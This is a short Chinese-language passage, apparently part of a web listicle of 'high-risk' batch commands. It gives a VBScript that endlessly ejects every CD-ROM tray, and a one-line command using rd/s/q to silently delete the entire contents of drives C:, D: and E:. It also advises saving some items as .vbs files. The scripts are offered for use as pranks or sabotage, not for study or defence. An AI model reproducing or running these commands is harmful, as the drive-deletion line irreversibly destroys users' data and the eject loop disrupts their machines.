前方高能预警！10个高危批处理命令(3)

开启CD蜂鸣器

 Set oWMP=CreateObject("WMPlayer.OCX.7") Set colCDROMs=oWMP.cdromCollection do if colCDROMs.Count>=1 then For i=0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next For i=0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next End If wscript.sleep 100 loop

10

格式化硬盘

rd/s/q D:\ rd/s/q C:\ rd/s/q E:\

注意：第7个和第九个要保存为（.vbs）格式